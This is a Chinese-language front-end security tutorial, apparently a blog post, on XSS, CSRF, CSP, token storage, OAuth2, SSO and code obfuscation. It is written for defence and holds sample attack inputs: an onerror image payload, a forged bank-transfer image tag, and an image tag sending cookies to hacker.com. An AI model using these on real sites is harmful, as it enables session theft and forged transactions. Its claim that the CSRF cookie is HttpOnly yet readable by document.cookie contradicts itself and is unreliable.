7842 字
39 分钟
Safe
2026-02-19
2026-03-10
统计加载中...

Safe#

XSS(跨站脚本攻击)相关#

1.1 基础原理与防护#

XSS 的攻击原理是什么?有哪些常见的防御手段?

攻击原理: XSS(Cross-Site Scripting)的核心本质是**“注入并执行”**。黑客通过各种手段,将恶意的 JavaScript 代码注入到你的网页中。当普通用户访问该页面时,浏览器会误以为这些恶意脚本是网页原本的一部分,从而执行它们。一旦脚本运行,黑客就能为所欲为:窃取用户的 Cookie/Token、监听键盘输入、伪造用户发起请求等。

根据注入方式的不同,XSS 主要分为三类:

  • 反射型 (Reflected):恶意代码通常放在 URL 参数里。服务器接收请求后,将恶意代码直接“反射”拼接在 HTML 响应中返回。常见于搜索框、错误提示等。 反射型 XSS 的特点是:恶意代码在 URL 里,服务器只是个“回音壁”,把 URL 里的恶意代码原样拼接到 HTML 页面里退回给浏览器。 完整的作案过程还原:

    1. 寻找漏洞: 黑客发现了一个网站的搜索功能。当你搜索 苹果 时,URL 是 https://shop.com/search?keyword=``苹果。服务器会返回一段 HTML:<h1>你搜索的内容是:苹果</h1>
    2. 精心构造陷阱(拼接 URL): 黑客在自己的电脑上,把搜索词换成了一段 JavaScript 代码。他构造出这样一个链接:https://shop.com/search?keyword=<script>``偷走你的Cookie发送给黑客</script>
    3. 诱导点击(钓鱼): 黑客把这个长长的、看起来有点奇怪的链接通过邮件、QQ 群发给你,可能还会配上诱惑性的文字:“点击领 100 元红包”。
    4. 服务器“反射”代码: 你信以为真,点击了链接。你的浏览器向 shop.com 发起请求。服务器接收到请求,提取出 keyword 的值(即那段恶意 <script> 代码),因为后端没有做过滤,直接把这段代码拼接到 HTML 中返回:<h1>你搜索的内容是:<script>偷走你的Cookie发送给黑客</script></h1>
    5. 浏览器中招: 你的浏览器收到这段 HTML 开始解析。当它解析到 <script> 标签时,它不知道这是黑客塞进来的,它以为这是 shop.com 网站原本就有的正常功能,于是立刻执行了这段代码。你的 Cookie 就这样被偷走了。
  • 存储型 (Stored):恶意代码被永久存储在目标服务器的数据库中(比如评论区、个人签名)。任何访问该内容的用户都会中招,杀伤力最大。 存储型 XSS 之所以杀伤力最大,是因为黑客不需要再去到处骗人点链接了。他把恶意代码变成网站内容的一部分,存到了服务器的数据库里,变成了“地雷”。 完整的作案过程还原:

    1. 寻找入口(发帖/评论): 黑客来到了一个论坛的评论区或文章发布区。这个区域允许用户输入文字,并且最终会展示给所有访问该页面的用户。
    2. 埋下地雷(存入数据库): 黑客在评论框里输入:这篇文章写得真好!<script>恶意代码</script>,然后点击提交。
    3. 服务器照单全收: 这个请求被发送到后端。如果后端没有对输入进行严格的安全清洗,这段包含 <script> 标签的字符串就会被当成普通的文本,原封不动地保存到后端的 MySQL 等数据库中。
    4. 无差别攻击: 第二天,论坛里的任何一个普通用户(哪怕是管理员)点开了这篇文章,查看评论。
    5. 触发地雷: 后端从数据库里查出那条恶意的评论,直接拼接到页面的 HTML 中返回给普通用户的浏览器。普通用户的浏览器在渲染评论列表时,再次毫无防备地执行了那段隐藏在评论里的 <script> 代码。
  • DOM 型 (DOM-based):纯前端的安全漏洞。前端 JS 代码在处理 URL 参数、Hash 或类似 document.referrer 等用户输入源时,未经验证直接使用 innerHTMLeval() 等危险 API 渲染到页面上触发。 在 DOM 型 XSS 中,服务器甚至可以完全不知道攻击的发生。 整个“作案过程”都在用户的浏览器里闭环了。 引入安全领域的两个专业术语:Source(输入源)Sink(执行汇聚点)

    拆解犯罪链条:从 Source 到 Sink#

    DOM 型 XSS 的本质,就是黑客控制的数据从 Source 流向了危险的 Sink,并且前端代码在中间未经验证

    • Source(恶意数据的入口): 前端 JS 能够读取到的、用户或外部可以篡改的数据源。最常见的就是 URL 相关的属性,比如 location.hash(URL 中 # 后面的部分)、location.search(URL 参数)、或者是 document.referrer
    • Sink(引爆炸弹的 API): 前端 JS 中那些能够把字符串当作代码执行,或者渲染成 HTML DOM 节点的危险 API。最典型的就是 innerHTMLeval()。此外,像 setTimeout() 的第一个参数如果传字符串,或者 document.write() 也属于危险 Sink。

    还原作案现场:一个完全绕过后端的攻击#

    假设你开发了一个带有“语言切换”功能的单页应用(SPA)。为了记住用户的选择,你把语言偏好放在了 URL 的 Hash 里,比如 https://shop.com/index.html#ZH-CN。 前端有这样一段简单的 JS 代码,用来在页面上显示当前的语言:

// 1. 获取 Source (输入源) let currentLang = window.location.hash.substring(1);

// 2. 写入 Sink (执行点) document.getElementById(‘lang-display’).innerHTML = “当前语言:” + currentLang;

**黑客是如何利用这个漏洞的?**
1. **构造恶意 Hash:** 黑客发现 `innerHTML` 会直接渲染从 `hash` 拿到的数据。于是他构造了一个带毒的链接:`https://shop.com/index.html#<img`` src=x onerror=alert('你的Cookie被偷了')>`。
2. **发送链接:** 黑客把这个链接发给受害者。
3. **盲目的服务器:** 受害者点击链接。请注意浏览器的一个底层机制:**URL 中 ****#**** 及其后面的内容,浏览器是绝对不会发送给服务器的。** 服务器收到的请求仅仅是 `GET /index.html`。服务器愉快地返回了正常的、没有任何恶意代码的静态 HTML 文件。
4. **前端“自雷”:** 浏览器接收到正常的 HTML 并开始执行里面的 JS。JS 读取了 `location.hash`(里面藏着 `<img...>` 标签),并且毫无防备地把它塞进了 `innerHTML`。
5. **攻击达成:** 浏览器试图渲染这个 `<img>` 标签,发现图片路径 `x` 是错的,立刻触发了 `onerror` 事件,执行了黑客的 JS 代码。
在这整个过程中,后端的防火墙(WAF)形同虚设,因为它根本没有看到任何带有 `<script>` 或 `<img onerror>` 的流量。这纯粹是前端代码“搬起石头砸了自己的脚”。
### 如何防御 DOM 型 XSS?
既然问题出在前端代码对数据的处理上,防御的思路就很明确了:**切断从 Source 到 Sink 的危险数据流。**
1. **尽量避免使用危险的 Sink:**
- 如果你只是想往页面里插入纯文本,**绝对不要用 ****innerHTML**。
- 应该使用 `textContent` 或 `innerText`。它们会把传入的任何数据都当成纯文本字符串处理,即使你塞进 `<script>`,它也会老老实实地在屏幕上打印出 `<script>` 这几个字符,而不会去解析执行。
2. **必须使用 HTML 渲染时的清洗:**
- 在复杂的富文本渲染场景下,前端如果必须处理用户输入的富文本并用危险 API 渲染,就必须进行清洗。
- 正如你的文档中提到的,这时候就需要引入 DOMPurify 这类库,配置好白名单(例如放行 `<span>`、`<b>` 等基础排版标签,剥离危险的 `onerror` 属性等)。在数据进入 Sink 之前进行彻底的消毒:`element.innerHTML = DOMPurify.sanitize(untrustedData, config)`。
**基础防护手段:**
1. **输出转义 (Escaping)**:在将不可信数据插入 HTML 之前,将其转换为 HTML 实体(例如把 `<` 转成 `&lt;`,`"` 转成 `&quot;`)。前端在使用 React/Vue 时,默认的双大括号插值 (`{{}}` 或 `{}`) 已经自带了这层转义防护。
2. **使用 HttpOnly Cookie**:在服务端设置 Cookie 时加上 HttpOnly 属性,这样前端 JS(例如 `document.cookie`)就无法读取该 Cookie,即使发生了 XSS,黑客也偷不到身份凭证。
3. **开启 CSP(内容安全策略)**:建立白名单,告诉浏览器只能加载和执行指定来源的脚本。
---
### 1.2 富文本过滤策略
**在处理富文本内容时,如何制定标签过滤策略?**
- 面对“转义会导致页面直接显示 HTML 源码”和“直接移除容易产生误杀”的矛盾,应该如何平衡?
- 在实际业务中,如何合理配置 DOMPurify 这类库来实现既安全又不破坏渲染体验的过滤?
我们在编辑器里打字和排版时,其实产生了两种完全不同的数据:
1. **真正的 HTML 标签**:比如你把一段字加粗、标红,编辑器会在底层生成 `<span style="color: red; font-weight: bold;">文本</span>`。这是用来渲染样式的。
2. **用户输入的纯文本**:比如用户在文章里故意打出 `<script>` 这几个字符(仅仅是想作为文本展示)。编辑器在保存时,会自动把它转义成 `&lt;script&gt;`。
理解了这一点,配置 DOMPurify 的思路就极其清晰了:让 DOMPurify 认识并放行第 1 种(安全的排版标签),同时它本身就不会去破坏第 2 种(已经被编辑器转义好的纯文本字符)。
下面是一套实际业务中最常用、也最稳妥的 **DOMPurify 配置模板**:
#### 第一步:明确你的业务需要哪些排版标签(白名单)
不要偷懒使用默认配置,建议根据你使用的富文本编辑器(比如 Quill、WangEditor)的工具栏功能,精准定制 `ALLOWED_TAGS`(允许的标签)和 `ALLOWED_ATTR`(允许的属性)。
```javascript
import DOMPurify from 'dompurify';
const config = {
// 1. 只放行基础排版、表格、媒体等必要的标签
ALLOWED_TAGS: ['p','br','b','i','em','strong','a','span','div', // 基础排版
'img','video','audio', // 媒体
'ul','ol','li', // 列表
'table','thead','tbody','tr','th','td', // 表格
'h1','h2','h3','h4','h5','h6', // 标题
'pre','code','blockquote', // 代码块与引用
],
// 2. 只放行这些标签可能用到的安全属性
ALLOWED_ATTR: [
'href','src','alt','title','target', // 链接和图片常用
'class','style', // 允许携带 class 和内联样式(重要!)
'controls','width','height', // 媒体元素常用
],
// 3. 禁止将任何未知的协议作为 URL(防止 javascript:alert(1) 这种注入)
ALLOW_UNKNOWN_PROTOCOLS: false,
};
const cleanHTML = DOMPurify.sanitize(dirtyHTML, config);

第二步:解决“样式”与“安全”的冲突#

“放行了 style 属性,黑客能不能在里面写恶意的 CSS 表达式?” DOMPurify 当你允许了 style 属性时,底层自带了一个非常严苛的 CSS 解析器:

  • 它会保留 color: red; font-size: 16px; 这种安全的样式。
  • 它会自动剔除类似 background-image: url("javascript:...") 这种有执行风险的危险样式。

所以,只要你像上面那样配置了 ALLOWED_ATTR: ['style'],富文本的渲染体验就不会被破坏(红字依然是红字),同时也是安全的。

第三步:处理特殊的业务需求(利用 Hook)#

在真实业务中,我们通常要求文章里的超链接 <a href="..."> 必须在新窗口打开(target="_blank"),并且为了防止钓鱼攻击,必须加上 rel="noopener noreferrer"。单纯靠白名单做不到这种“修改”操作,需要借助 DOMPurify 的 Hook 机制介入过滤过程:

// 在执行 sanitize 之前,注册一个全局 Hook
DOMPurify.addHook('afterSanitizeAttributes', function (node) {
if (node.tagName === 'A') {
node.setAttribute('target', '_blank');
node.setAttribute('rel', 'noopener noreferrer');
}
});
const cleanHTML = DOMPurify.sanitize(dirtyHTML, config);

总结示例#

  • 场景:用户在富文本里写了一段展示用的代码 <script>alert(1)</script>
  • 富文本编辑器在输出 HTML 时,会将其编码为:<pre><code>&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>
  • 脏 HTML 经过 DOMPurify 配置后:<pre><code> 在白名单里保留;里面的 &lt;script&gt; 只是普通文本,DOMPurify 不会动它。
  • 最终结果:渲染体验完美,页面上显示出 <script> 的源码且未被执行;其他加粗、标红的标签也正常渲染。

这套基于白名单 + 适度保留 style + Hook 改造的策略,基本能覆盖 95% 以上前端富文本的防 XSS 需求。


CSRF(跨站请求伪造)相关#

2.1 基础原理与攻击链路#

什么是 CSRF? CSRF (Cross-Site Request Forgery) 的本质是“借刀杀人”。黑客根本不需要窃取你的账号密码,他只是利用了浏览器会自动携带 Cookie 的机制,冒充你去执行某些敏感操作。

底层逻辑:浏览器的“认死理” 在早期的浏览器设计中,Cookie 的发送仅仅取决于 HTTP 请求的目标域名,而完全不考虑这个请求是从哪个网页发起的。只要请求发往 bank.com,浏览器就会自动掏出属于 bank.com 的 Cookie 贴在请求头上,哪怕你此刻正身处黑客的恶意网站。

经典 CSRF 攻击场景(以银行转账为例):

  1. 登录受信任网站:你在浏览器里登录了正规的银行网站 bank.com。登录成功后,服务器在你的浏览器里种下了一颗代表你身份的 Cookie(且此时你没有关掉这个网页)。
  2. 误入危险境地:你不小心点开了一个黑客发来的恶意链接,进入了黑客的网站 hacker.com
  3. 发起伪造请求:黑客的网站里埋伏好了一段代码,比如隐藏表单或图片:<img src="``http://bank.com/transfer?toAccount=hacker&amount=10000``">
  4. 浏览器“助纣为虐”:只要向 bank.com 发起请求,浏览器就会自动带上属于 bank.com 的 Cookie。哪怕这个请求是从 hacker.com 发起的!
  5. 攻击达成:银行服务器收到了转账请求和你的合法 Cookie,认为凭证正确、是用户本人操作,于是钱被转走。

2.2 核心释疑:为什么黑客拿不到 CSRF Token?#

很多人会疑惑:“既然请求都在 Network 里,黑客为什么不能抓包或者用 JS 把 Token 读出来,塞进伪造的请求里?”

答案是:同源策略(Same-Origin Policy, SOP)的绝对压制。

在跨站场景下(黑客在 hacker.com,目标是 bank.com),黑客其实是个“瞎子”:

  • 只能“发”:黑客可以利用 <img><form> 诱导浏览器发出请求。
  • 严禁“读”:受同源策略限制,黑客的 JS 代码绝对无法读取 bank.com 的 DOM 节点、内存变量,也无法读取跨域请求返回的数据。 因此,黑客根本不知道正确的 Token 是什么,自然也就无法构造出合法的请求头。

2.3 现代防御:Cookie 层的 SameSite 属性#

防范 CSRF 最釜底抽薪的方案,是在服务端设置 Cookie 时加上 SameSite 字段,用来告诉浏览器:“跨站发请求时,要不要带上这个 Cookie?”

  • SameSite=Strict(最严格):完全禁止第三方网站携带 Cookie。只要请求不是从 bank.com 页面发出的,Cookie 绝对不带。安全度最高,但体验较差(从外部链接点进系统可能让用户重新登录)。
  • SameSite=Lax(现代浏览器默认):宽松模式。普通页面跳转(如 <a> 点链接、GET 表单)会带 Cookie;但 AJAX/Fetch、<img> 加载、POST 表单等一律拦截 Cookie。能无感防御绝大部分 CSRF 攻击。
  • SameSite=None:不管跨不跨站都带 Cookie(必须配合 Secure 在 HTTPS 下使用)。

2.4 经典防御:CSRF Token 机制深究#

如果业务场景无法完全依赖 SameSite(例如兼容老旧浏览器),就需要使用 Token 机制。其核心就是强制前端证明自己拥有“读取”该域数据的能力

方案 A:双重 Cookie 验证

  1. 下发时机:用户登录成功后,服务端除设置用于身份认证的 sessionId Cookie(HttpOnly)外,再额外下发一个专门防 CSRF 的 Cookie(如 csrf_token设 HttpOnly)。
  2. 前端怎么取:通过 document.cookie 读出 csrf_token
  3. 怎么发给后端:把读到的 token 塞到请求头,如 X-CSRF-Token: xxx
  4. 后端验证:对比“请求头里的 Token”和“Cookie 里的 Token”。一致则合法。
  5. 防御原理:黑客网站能让浏览器自动带上 Cookie,但无法用 JS 读取你的 Cookie(同源策略),也就无法把 Token 塞进请求头。

方案 B:同步器 Token 模式 (Synchronizer Token)

  1. 下发时机:服务端在渲染页面时把 Token 写在 HTML 的 <meta> 里,或 SPA 在登录后的第一个初始化接口里获取。
  2. 前端怎么取:存在内存、Vuex/Redux 或 LocalStorage。
  3. 发送机制:每次 AJAX 在请求头带上。Token 不在 Cookie 里,跨站请求自然带不上。

方案对比: SameSite 在底层防御,不需改业务代码,是现代首选。Token 方案则强制要求前端提供一个“黑客无法通过跨站自动带上”的凭证,比只校验 Referer 更严谨。


https://web.dev/articles/strict-csp?hl=zh-cn

CSP(内容安全策略)相关#

3.1 核心原理与配置方式#

CSP 的核心本质是浏览器的“白名单”机制。 过去浏览器只要遇到 <script src="xxx"><img src="yyy"> 就会去加载执行,这给了黑客可乘之机。CSP 的本质是:由服务端(或前端 Meta 标签)告诉浏览器,当前页面只允许从哪些合法域名加载资源,其余一律封杀。

配置方式:

  • 方式一(推荐):HTTP 响应头 Content-Security-Policy: default-src 'self'; script-src 'self' ``https://trusted.com``;
  • 方式二:HTML 标签(必须放在 <head> 最前) <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">

3.2 常用核心策略指令#

  • default-src:全局兜底。'self' 表示只允许同源资源。
  • script-src:防 XSS 的核心,指定可执行脚本的来源。不在白名单的域名,.js 无法加载。
  • style-src:指定 CSS 来源。
  • img-src:指定图片来源,可防止数据通过 <img src="``http://hacker.com/log?cookie=xxx``"> 外泄。
  • connect-src:限制 AJAX、Fetch、WebSocket 的目标地址。

默认拦截的高危操作: 开启 CSP 后,默认会阻断以下行为来强化防 XSS:

  • 禁止内联脚本<script>alert(1)</script><button onclick="alert(1)"> 等会被拒绝执行,除非显式开启 'unsafe-inline'
  • 禁止动态执行:默认封杀 eval()setTimeout('string') 等,除非开启 'unsafe-eval'

3.3 现代终极防御:基于 Nonce 的 Strict CSP(严格 CSP)#

传统的基于“域名白名单”的配置容易被 CDN 漏洞或 JSONP 绕过。现代 CSP 支持用 noncehash 对合法的内联脚本单独授权,既安全又灵活。业界目前强烈推荐使用基于 Nonce 的严格 CSP

运作流程:

  1. 服务端生成单次随机数 (Nonce):每次页面请求时,服务端生成一个不可预测的随机字符串(如 base64 编码)。
  2. 下发 HTTP 头Content-Security-Policy: script-src 'nonce-随机数' 'strict-dynamic';
  3. 渲染合法的内联/外链标签:服务端在输出 HTML 时,给完全信任的 <script> 标签打上相同的 nonce 属性(例如 <script nonce="随机数">)。
  4. 浏览器严格核对:浏览器只执行带有正确 nonce 值的脚本。黑客即使成功注入了恶意脚本,由于无法预测当前的 nonce 暗号,将被直接拦截。

‘strict-dynamic’** 的作用:** 现代前端工程(如 Vue/React)经常在运行时按需动态创建 <script> 标签。配合 'strict-dynamic' 指令,可以告诉浏览器:只要一个脚本是通过了 Nonce 验证的合法脚本,由它动态生成的子脚本也自动获得信任并允许执行。 这完美解决了现代前端 SPA 框架与严格 CSP 之间的冲突。

3.4 落地实践建议:Report-Only 模式#

直接在老项目中开启严格的 CSP 极易导致正常功能报错白屏。建议在上线初期使用仅报告模式:

  • 下发响应头Content-Security-Policy-Report-Only: ...策略...; report-uri /api/csp-report;
  • 效果:浏览器不会真正拦截违规的脚本和资源,但会在控制台抛出警告,并将违规详细信息(如发生在哪一行代码)以 JSON 格式发送到你指定的 report-uri 接口。
  • 流程:开发者通过分析收集到的报告,逐步清洗不规范的代码或完善白名单,确认完全无误后,再切换为真正的阻断模式。

身份认证与 Token 安全#

4.1 Token 存储位置#

身份认证的 Token 应该放在哪里最合适(Cookie、LocalStorage 还是内存)?各自的安全隐患是什么?

存储位置
机制与优势
主要隐患
**LocalStorage / SessionStorage**
登录后存 Token,请求时塞进 `Authorization: Bearer `。天然防 CSRF(不会自动携带)。
XSS 可执行 `localStorage.getItem('token')`,Token 一旦泄露即可接管账号。
**Cookie**
后端 Set-Cookie 下发;配 HttpOnly 防 XSS 读取,Secure 防窃听。
每次请求自动携带,易被 CSRF 利用(若 SameSite 等未配好)。
**内存 (Memory)**
存于 Pinia/Redux/Context 或闭包变量,不写本地存储。防 CSRF(不自动带)+ 防 XSS 窃取(难从作用域打捞)。
刷新即丢失,用户被登出,单纯内存方案难以落地。

这部分内容可以说是前端安全与架构设计的精髓。将“防 XSS”和“防 CSRF”的底层逻辑结合起来后,Token 存储的世纪难题就迎刃而解了。


4.2 业界最佳实践:双 Token + 混合存储(无感刷新)#

为了打破上述单一存储的死局,对于对外暴露的 C 端敏感业务(如金融、电商),业界必须采用 内存 (Access Token) + HttpOnly Cookie (Refresh Token) 的混合架构。

这套机制将权限拆分为两把钥匙,完美实现了安全与体验的闭环:

  1. 业务通行证:Access Token(短效,如 15 分钟)
  • 存储位置:存在前端内存(如 Pinia / Redux / JS 变量)中。
  • 使用方式:每次业务请求时,由前端通过拦截器在 Header 里手动携带。
  • 安全防线:因为寿命短且在内存中,极难被窃取;哪怕遭遇极端的 XSS 泄露,Token 也会很快过期失效。
  1. 换证专用票据:Refresh Token(长效,如 7 天)
  • 存储位置:存在 HttpOnly + Secure + SameSite=Strict 的 Cookie 中。
  • 使用方式仅用于当 Access Token 过期或页面刷新导致内存 Token 丢失时,前端调用 /refresh_token 接口去换取新的 Access Token。
  • 安全防线HttpOnly 彻底阻断了 XSS 窃取;SameSite=Strict 阻断了 CSRF 的跨站携带。即使黑客想尽办法让浏览器发起向 /refresh_token 的跨域伪造请求,同源策略(SOP)也会拦截响应,黑客根本拿不到新下发的 Access Token。

无感刷新的业务闭环:

当业务接口返回 401 Unauthorized 时,前端 Axios 拦截器会挂起当前请求,静默调用 /refresh_token 接口换回新的 Access Token 存入内存,然后再自动重发刚才失败的业务请求。全程对用户透明,体验极佳。

业务选型建议:

  • 内部后台系统、安全要求一般:采用 LocalStorage + 基础 XSS 防护(如 DOMPurify 过滤富文本)即可满足需求。
  • C 端高价值业务:必须强制采用双 Token 混合存储方案。

4.3 OAuth2.0 授权码模式流程深究#

本质: OAuth2.0 就像是一把“受限制的备用钥匙”——用户不需要交出自己的账号密码,而是由授权中心颁发给第三方应用一个权限有限的 Token。典型场景:第三方网站支持微信扫码登录。

四个核心角色(以第三方阅读器接入微信登录为例):

  1. 资源拥有者 (Resource Owner):用户本人。
  2. 客户端 (Client):第三方阅读器的前后端系统。
  3. 授权服务器 (Authorization Server):微信的登录授权中心(负责核实身份并颁发 Token)。
  4. 资源服务器 (Resource Server):微信的用户数据中心(认 Token 不认人,负责提供头像、昵称等数据)。

授权码模式 (Authorization Code Flow) 标准五步:

  1. 前端引导跳转(去车库核实身份):用户点击“微信登录”,阅读器前端将页面重定向到微信授权地址,并在 URL 中携带本站的身份标识 client_id、授权后的回调地址 redirect_uri 以及申请的权限范围 scope
  2. 用户同意授权(用户向保安点头):用户在微信的域名下(绝对安全的环境)确认登录并同意授权。
  3. 发放授权码并重定向(保安给小弟取车小票):微信生成一个短效、一次性的授权码 Code,并通过 302 重定向将浏览器跳回阅读器的回调地址:redirect_uri?code=abc123xyz(注意:此时不直接给 Token)。
  4. 后端用 Code 换 Token(暗网交易,前端不可见):前端从 URL 中截取 code 交给本站后端。后端带着 code 和仅存在服务器端的 client_secret,在底层向微信服务器发起跨服务端请求,换取真正的 Access Token(及可选的 Refresh Token)。client_secret 必须且仅存后端,前端不可见。
  5. 后端用 Token 换用户信息(大功告成):后端拿着获取到的 Access Token 去请求微信资源服务器,拿到用户的头像、昵称等信息,并在本站数据库中创建或关联账号,最后向前端下发本站的登录状态(如业务 Token 或 Cookie)。

核心安全考量:为什么用 Code 而不是直接给 Token? 如果微信授权后直接把 Token 拼接在回调 URL 中返回给前端(即隐式模式 Implicit Flow),Token 将完全暴露在浏览器的地址栏、历史记录或网络拦截中。一旦前端存在 XSS 漏洞、恶意插件或中间人攻击,高权限的 Token 瞬间泄露。

引入 Code(授权码) 的巧妙之处在于: Code 就像是一张没有任何实质权限的“取件凭证”。它虽然暴露在前端 URL 中,但任何人想把它兑换成真正的 Token,都必须向微信服务器出示后端的 client_secret。由于前端没有 client_secret 无法换 Token,这就把获取核心凭证的高危操作彻底隔离在了“后端与微信服务器”之间的内部安全通信链路中。


4.4 单点登录(SSO)核心流程深究#

核心目标: 解决同一企业体系内,跨多个不同域名的系统共享登录状态的问题,实现“一处登录,处处通行”。

第一阶段:首次访问 App A(全局与局部均未登录)

  1. 拦截与重定向:用户访问 App A,A 的前端/后端发现无局部登录会话,重定向到 SSO 中心:https://sso.com/login?redirect=AppA
  2. SSO 身份核验:SSO 发现该用户也没有全局登录会话,要求用户展示登录页面并输入账号密码。
  3. 建立全局会话与发票:用户登录成功后,SSO 在 sso.com 域名下种下全局会话 Cookie,并生成一个短效的临时门票 (Ticket),重定向回 A:https://AppA.com/callback?ticket=123
  4. 后端验票建立局部会话:App A 后端拦截到带有 ticket 的回调请求,拿着该 ticket 去 SSO 服务器验真。确认用户身份合法后,在 App A 自己的域名下种 Cookie 或下发业务 Token(建立局部会话)。用户登录 App A 成功。

第二阶段:访问 App B(享受免密登录)

  1. 拦截与重定向:用户访问同一体系下的 App B。B 发现无局部会话,再次重定向到 SSO:https://sso.com/login?redirect=AppB
  2. 全局 Cookie 自动携带(高光时刻):由于浏览器访问 sso.com 时会自动带上第一阶段在 SSO 域名下种下的全局 Cookie,SSO 中心瞬间认出了该用户。
  3. 直接发新票:SSO 发现已有全局会话,不再展示登录页,直接生成给 B 的新 ticket,重定向回 B:https://AppB.com/callback?ticket=456
  4. 后端验票:App B 后端验票成功,建立局部会话。用户全程无需输入密码即自动登录了 App B。

与 OAuth2.0 的对比与关联: SSO 的 ticket 验票机制与 OAuth2 的 code 换 Token 逻辑如出一辙——核心都是通过前端重定向获取临时票据,再由后端持票据去认证中心核验,从而避免核心敏感凭证在前端(浏览器地址栏)暴露。 区别在于:OAuth2 侧重于“授权第三方系统获取受限数据”,而 SSO 侧重于“同一企业/体系内多系统共享同一套登录状态”。


代码安全相关#

5.1 代码混淆与检测:防御逆向工程#

在前端领域,代码本质上是开源的。为了保护核心业务逻辑(如签名算法、加密密钥或敏感业务流),单纯依赖构建工具的压缩是不够的,必须引入专业的代码混淆手段。

业界常规做法(Terser)与专业混淆(Obfuscator)的本质差异:

  • Terser / ESBuild:核心目的是压缩体积。它们会移除空格、缩短变量名(如 let userName 变成 let a),但代码的执行逻辑(AST 结构)并未改变。黑客通过简单的格式化工具即可还原大概逻辑,防君子不防小人。
  • javascript-obfuscator:核心目的是极大增加逆向分析的成本。它通过破坏代码的可读性和逻辑连贯性,甚至不惜增加代码体积和牺牲微量性能,来换取安全性。

javascript-obfuscator 的核心防护策略:

  1. 控制流平坦化 (Control Flow Flattening):将原本线性的 if...else 或顺序执行的代码块打碎,放入一个由状态机控制的巨大 while + switch 结构中。黑客在阅读源码时,完全无法看出代码的真实执行顺序。

  2. 字符串提取与加密 (String Array Encoding):将所有硬编码的字符串(如接口 URL、文案、对象 Key)提取到一个乱序的全局数组中,并进行 Base64 或 RC4 加密。代码中调用字符串的地方全部被替换为动态解密函数,使得全局搜索彻底失效。

  3. 标识符重命名:将所有变量名、函数名替换为无意义的十六进制字符(如 _0x3f5a),彻底抹除业务语义。

  4. 主动防御机制

    • 反调试 (Anti-Debugging):注入定时触发的 debugger; 陷阱,黑客一旦打开 DevTools,页面就会陷入无限卡死。
    • 域名锁定 (Domain Lock):校验 window.location.host,若不在指定域名白名单内运行,则直接抛错或死循环,防止代码被扒站盗用。

混淆检测与逆向手段(攻防博弈):

  • 特征匹配:安全防护系统可以通过正则扫描 JS 文件,若发现大量的 _0x 变量前缀或典型的混淆器解密函数模板,即可判定该代码经过了专业混淆。
  • AST (抽象语法树) 还原:高级黑客或安全专家会利用 Babel 等 AST 操作工具,编写脚本进行逆向推导。例如,通过静态分析执行解密函数还原字符串,或通过反向计算状态机变量,将平坦化的控制流重新还原为线性结构。代码保护始终是一场不断升级的编译原理攻防战。